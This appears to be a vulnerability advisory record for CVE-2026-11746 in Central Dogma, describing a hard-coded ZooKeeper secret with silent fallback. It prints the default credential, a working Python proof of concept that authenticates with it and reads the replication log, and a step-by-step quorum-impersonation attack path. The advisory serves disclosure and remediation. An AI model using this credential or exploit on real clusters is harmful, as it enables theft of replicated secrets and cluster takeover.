{"id":"CVE-2026-11746","aliases":[],"url":"https://o3.security/vulnerability/CVE-2026-11746","summary":"Central Dogma: Hard-coded ZooKeeper replication secret 'ch4n63m3' with silent fallback enables cluster takeover","details":"## Vulnerability\n\n`ZooKeeperReplicationConfig.secret()` silently substitutes the hard-coded constant `\"ch4n63m3\"` (leetspeak for \"change me\") whenever the operator omits `replication.secret`. The same secret is wired into both the **client-facing SASL context** and the **quorum/learner SASL contexts** of the embedded ZooKeeper. The constant is in OSS source on GitHub and is discoverable via code search in seconds.\n\n### Three Reinforcing Defects\n\n1. **OSS-public credential** — `DEFAULT_SECRET` is in `line/centraldogma` source.\n2. **Silent fallback** — `firstNonNull(convertValue(...), DEFAULT_SECRET)` substitutes the default with no log, no warning, no startup banner. The only sanity check `checkArgument(!secret().isEmpty(), ...)` passes because the getter substitutes the literal before the emptiness check runs.\n3. **Dual-purpose secret** — used for both ZK client-port super auth and inter-peer quorum SASL. A single leaked password authenticates against both surfaces.\n\n### Architecture Context (Important)\n\nCentral Dogma does **NOT** connect to an external ZooKeeper ensemble. Each replica embeds a `QuorumPeer` (`EmbeddedZooKeeper extends QuorumPeer`) inside its own JVM. The Central Dogma cluster **IS** the ZK ensemble. So the \"ZK network\" is the inter-replica network of the Central Dogma cluster itself.\n\n### Applicability\n\n| `replication.method` | ZK Started? | Applicable? |\n|---|---|---|\n| `NONE` (standalone, dev default) | No | **NOT applicable** |\n| `ZOOKEEPER` (HA production) | Yes, embedded on every replica | **Fully applicable** — canonical production configuration |\n\n---\n\n## Evidence\n\n**File:** `server/src/main/java/com/linecorp/centraldogma/server/ZooKeeperReplicationConfig.java`\n**Branch:** `main` @ commit `d64a5151`\n\n**Line 53** — the constant:\n\n```java\nprivate static final String DEFAULT_SECRET = \"ch4n63m3\";\n```\n\n**Lines 210–215** — the silent fallback:\n\n```java\n/**\n * Returns the secret string used for authenticating the ZooKeeper peers.\n */\npublic String secret() {\n    return firstNonNull(convertValue(secret, \"replication.secret\"), DEFAULT_SECRET);\n}\n```\n\n---\n\n**File:** `server/src/main/java/com/linecorp/centraldogma/server/internal/replication/ZooKeeperCommandExecutor.java`\n**Lines 586–607** — JAAS wiring (same secret on both surfaces):\n\n```java\nfinal String escapedSecret = jaasValueEscaper.escape(cfg.secret());\nImmutableList.of(\"Server\", EmbeddedZooKeeper.SASL_SERVER_LOGIN_CONTEXT).forEach(name -> {\n    buf.append(name).append(\" {\").append(newline);\n    buf.append(DigestLoginModule.class.getName()).append(\" required\").append(newline);\n    buf.append(\"user_super=\\\"\").append(escapedSecret).append(\"\\\";\").append(newline);\n    buf.append(\"};\").append(newline);\n});\nImmutableList.of(\"Client\", EmbeddedZooKeeper.SASL_LEARNER_LOGIN_CONTEXT).forEach(name -> {\n    buf.append(name).append(\" {\").append(newline);\n    buf.append(DigestLoginModule.class.getName()).append(\" required\").append(newline);\n    buf.append(\"username=\\\"super\\\"\").append(newline);\n    buf.append(\"password=\\\"\").append(escapedSecret).append(\"\\\";\").append(newline);\n    buf.append(\"};\").append(newline);\n});\n```\n\n---\n\n**File:** `server/src/main/java/com/linecorp/centraldogma/server/internal/replication/EmbeddedZooKeeper.java`\n\n**Line 44** — proves CD embeds the ZK server:\n\n```java\nfinal class EmbeddedZooKeeper extends QuorumPeer {\n```\n\n**Lines 213–220** — client port binding (loopback only):\n\n```java\nprivate static ServerCnxnFactory createCnxnFactory(QuorumPeerConfig zkCfg) throws IOException {\n    final InetSocketAddress bindAddr = zkCfg.getClientPortAddress();\n    final ServerCnxnFactory cnxnFactory = ServerCnxnFactory.createFactory();\n    // Listen only on 127.0.0.1 because we do not want to expose ZooKeeper to others.\n    cnxnFactory.configure(new InetSocketAddress(\"127.0.0.1\", bindAddr != null ? bindAddr.getPort() : 0),\n                          zkCfg.getMaxClientCnxns());\n    return cnxnFactory;\n}\n```\n\n> Quorum/election ports are **NOT** loopback-bound — they bind to `replication.servers[].host` as configured, exposed on the inter-replica network.\n\n---\n\n## PoC\n\nTwo attack surfaces, two scenarios. **Surface A** (client port, same-host) is implemented as a working read-only PoC. **Surface B** (quorum-port peer impersonation) is documented but intentionally not weaponized.\n\n### Surface A — Same-Host Client Port (Loopback) PoC\n\nPython + kazoo + pure-sasl. Authenticates as `super` over SASL DIGEST-MD5 with the leaked secret and reads the full Central Dogma replication log. Hardcoded to `127.0.0.1`, read-only, prints first 5 entries.\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nC3 PoC -- ZooKeeper default-secret takeover (read-only, loopback only).\n\nDemonstrates that a Central Dogma instance launched with a\nZooKeeper-replicated configuration but without `replication.secret` set\nexposes its embedded ZooKeeper to anyone with local-host access, using\nthe well-known credential `super / ch4n63m3`.\n\nSAFETY:\n  * Hardcoded to 127.0.0.1. Refuses any other target.\n  * Read-only. No writes are issued. No nodes are deleted.\n  * Limits how much data it prints (first MAX_LOGS entries).\n\"\"\"\nfrom __future__ import annotations\n\nimport sys\n\nfrom kazoo.client import KazooClient\nfrom kazoo.exceptions import NoNodeError\n\nHOST = \"127.0.0.1\"\nDEFAULT_PORT = 2381\nDEFAULT_USER = \"super\"\nDEFAULT_SECRET = \"ch4n63m3\"  # ZooKeeperReplicationConfig.DEFAULT_SECRET\nMAX_LOGS = 5\n\n\ndef main() -> int:\n    port = int(sys.argv[1]) if len(sys.argv) > 1 else DEFAULT_PORT\n    if HOST != \"127.0.0.1\":\n        print(\"Refusing to run against non-loopback host.\", file=sys.stderr)\n        return 2\n\n    zk = KazooClient(\n        hosts=f\"{HOST}:{port}\",\n        sasl_options={\n            \"mechanism\": \"DIGEST-MD5\",\n            \"username\": DEFAULT_USER,\n            \"password\": DEFAULT_SECRET,\n        },\n        read_only=True,\n        timeout=5.0,\n    )\n    try:\n        zk.start(timeout=5)\n    except Exception as exc:\n        print(f\"[!] Could not reach {HOST}:{port} -- {exc}\", file=sys.stderr)\n        return 1\n\n    try:\n        try:\n            log_children = zk.get_children(\"/dogma/logs\")\n        except NoNodeError:\n            print(\"[i] /dogma/logs not present -- is replication actually enabled?\")\n            log_children = []\n\n        print(f\"[+] Authenticated as '{DEFAULT_USER}' with default secret.\")\n        print(f\"[+] /dogma/logs has {len(log_children)} entries.\")\n        for child in sorted(log_children)[:MAX_LOGS]:\n            path = f\"/dogma/logs/{child}\"\n            try:\n                data, stat = zk.get(path)\n            except NoNodeError:\n                continue\n            preview = data[:120].decode(\"utf-8\", errors=\"replace\") if data else \"\"\n            print(f\"  - {path}  ({stat.dataLength} bytes)  preview={preview!r}\")\n\n        try:\n            block_children = zk.get_children(\"/dogma/log_blocks\")\n            print(f\"[+] /dogma/log_blocks has {len(block_children)} entries.\")\n        except NoNodeError:\n            pass\n\n        print(\n            f\"[!] ZK cluster compromised: read {len(log_children)} log entries \"\n            \"with default credentials.\"\n        )\n        return 0\n    finally:\n        zk.stop()\n        zk.close()\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(main())\n```\n\n**Dependencies** (`requirements.txt`): `kazoo`, `pure-sasl`\n\n**Setup:** edit `dist/src/conf/dogma.json` to enable replication **WITHOUT** setting secret:\n\n```json\n{\n  \"replication\": {\n    \"method\": \"ZOOKEEPER\",\n    \"serverId\": 1,\n    \"servers\": {\n      \"1\": { \"host\": \"127.0.0.1\", \"quorumPort\": 2382, \"electionPort\": 2383, \"clientPort\": 2381 }\n    }\n  }\n}\n```\n\n> **Note:** `replication.secret` is **INTENTIONALLY** omitted. Launch with `./gradlew :dist:startup`.\n\n**Run:**\n\n```bash\npython3 zk_takeover.py 2381\n```\n\n**Expected output (VULNERABLE):**\n\n```\n[+] Authenticated as 'super' with default secret.\n[+] /dogma/logs has 14 entries.\n  - /dogma/logs/0000000001  (412 bytes)  preview=\"{\"size\":...\"\n  - /dogma/logs/0000000002  (508 bytes)  preview=\"{\"size\":...\"\n  ...\n[+] /dogma/log_blocks has 14 entries.\n[!] ZK cluster compromised: read 14 log entries with default credentials.\n```\n\nAfter the patch (fail-closed on null/placeholder secret), Central Dogma **refuses to start at all** with this config.\n\n### Surface B — Inter-Replica Quorum-Port Peer Impersonation (Documented, Not Weaponized)\n\nQuorum/election ports bind to the configured `replication.servers[].host`, **NOT** to loopback. In typical HA deployments (multi-DC, K8s with NetworkPolicy gaps, shared VPC), these ports are reachable from peer workloads.\n\n**Attack path:**\n\n1. Attacker reaches the quorum port of any Central Dogma replica from a co-located workload (same K8s namespace, same VLAN, etc.).\n2. Attacker spins up their own Apache ZooKeeper process configured with:\n   - matching `serverId` (or a new one if the `QuorumVerifier` allows dynamic membership)\n   - JAAS `QuorumLearner` / `QuorumServer` digest contexts using `super / ch4n63m3`\n   - `quorumServerSaslAuthRequired=true`, `quorumLearnerSaslAuthRequired=true`\n3. Attacker's process joins the quorum as a learner. SASL handshake passes because the secret matches.\n4. Attacker now receives every replicated `Command`, can attempt to win leader election, and once in the cluster can write to `/dogma/logs/` directly — which `ZooKeeperCommandExecutor.replayLogs()` will deserialize and execute on every legitimate replica.\n\n**Dangerous Commands the attacker can replay across the cluster** (from `Command.java:46-68`):\n\n| Command | Impact |\n|---|---|\n| `PURGE_PROJECT` | Permanent deletion |\n| `ROTATE_SESSION_MASTER_KEY` / `REWRAP_ALL_KEYS` | Pivot encryption-at-rest layer to attacker-controlled keys |\n| `UPDATE_SERVER_STATUS` (read-only / maintenance) | Denial of Service |\n| `CREATE_SESSION` with crafted user info | Session forgery |\n\n> This PoC is **intentionally NOT shipped as runnable code**. It is closer to an attack tool than a verification artifact, and the audit's purpose is to drive the fix, not to provide weaponization. The Surface A PoC plus this documentation are sufficient to motivate remediation.\n\n---\n\n## Impact\n\n### Threat Model (Realistic for LINE Corporate Deployment)\n\n- Multi-tenant K8s where Central Dogma StatefulSet shares Pod network with other workloads\n- Or shared VPC/VLAN where the inter-replica quorum traffic is reachable from co-tenant hosts\n- Or single-tenant cluster where any sidecar/co-located process has loopback access (Surface A)\n\n### What an Attacker Gains with the Leaked Secret\n\n1. **Read the full replication log.** `/dogma/logs` + `/dogma/log_blocks` contain the Zstd-compressed `ReplicationLog` entries — every commit, every `PUSH` payload (with file contents), every credential mutation, every session/master-key management command. Includes `CREATE_SESSION_MASTER_KEY`, `ROTATE_SESSION_MASTER_KEY`, `REWRAP_ALL_KEYS`. Reading this effectively renders the encryption-at-rest layer moot because the master-key management commands themselves traverse ZK.\n\n2. **Write to the replication log (Surface B).** Forged `LogMeta` + `log_blocks` entries are auto-replayed by `ZooKeeperCommandExecutor.replayLogs()` on every replica. The attacker gains **arbitrary Command execution on the entire cluster**.\n\n3. **Join the quorum as a fake peer (Surface B).** With the secret, an attacker reachable on the inter-replica network can pose as a legitimate replica, receive all future commits in real time, and potentially win leadership.\n\n**Scope is Changed** (CVSS) because ZK is a separate security authority from Central Dogma's HTTP API, and the impact propagates to every microservice consuming Central Dogma configuration via watch.\n\n**Incident recovery cost:** secret rotation alone is insufficient. Every `Command` that traversed ZK during the compromise window must be audited. If master-key rotation commands were issued, all encryption-at-rest data must be re-encrypted. This is an **extremely high-blast-radius failure mode** for a single missing config knob.\n\n**Historical analogue:** this is the same anti-pattern that caused Mirai (2016, IoT default credentials), pre-2018 unauthenticated Hadoop YARN clusters, and the recurring ZK / Elasticsearch / MongoDB internet-exposed-without-auth incidents 2018–2024.\n\n---\n\n## How to Fix\n\n**Remove the default constant. Fail closed when `replication.secret` is missing or matches the legacy placeholder.**\n\n```java\n// ZooKeeperReplicationConfig.java\n// REMOVE: private static final String DEFAULT_SECRET = \"ch4n63m3\";\n\n@JsonCreator\nZooKeeperReplicationConfig(/* ...unchanged params... */\n                           @JsonProperty(\"secret\") @Nullable String secret,\n                           /* ... */) {\n    // ...\n    final String resolved = convertValue(secret, \"replication.secret\");\n    checkArgument(resolved != null && !resolved.isEmpty(),\n                  \"'replication.secret' must be set (and non-empty) when \" +\n                  \"ZooKeeper replication is enabled. There is no default; \" +\n                  \"generate a long random string and configure it on every \" +\n                  \"replica.\");\n    // Reject the historical placeholder explicitly so existing config files\n    // copy-pasted from old tutorials fail loudly instead of silently.\n    checkArgument(!\"ch4n63m3\".equals(resolved),\n                  \"'replication.secret' is set to the legacy placeholder \" +\n                  \"value. Replace it with a fresh random secret \" +\n                  \"(`openssl rand -hex 32`).\");\n    // Optional: enforce minimum length (32 chars) and reject obvious placeholders.\n    checkArgument(resolved.length() >= 32,\n                  \"'replication.secret' must be at least 32 characters. \" +\n                  \"Use `openssl rand -hex 32` to generate one.\");\n    this.secret = resolved;\n}\n\npublic String secret() {\n    return secret;  // never null at this point\n}\n```","published":"2026-09-11T20:44:23Z","modified":"2026-09-11T21:00:06.361009618Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Maven","name":"com.linecorp.centraldogma:centraldogma-server","fixedVersion":"0.84.0"}],"fix":null,"references":[{"type":"WEB","url":"https://github.com/line/centraldogma/security/advisories/GHSA-2j95-gqxf-v3vg"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-11746"},{"type":"PACKAGE","url":"https://github.com/line/centraldogma"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-09-11T21:00:06.361009618Z"}}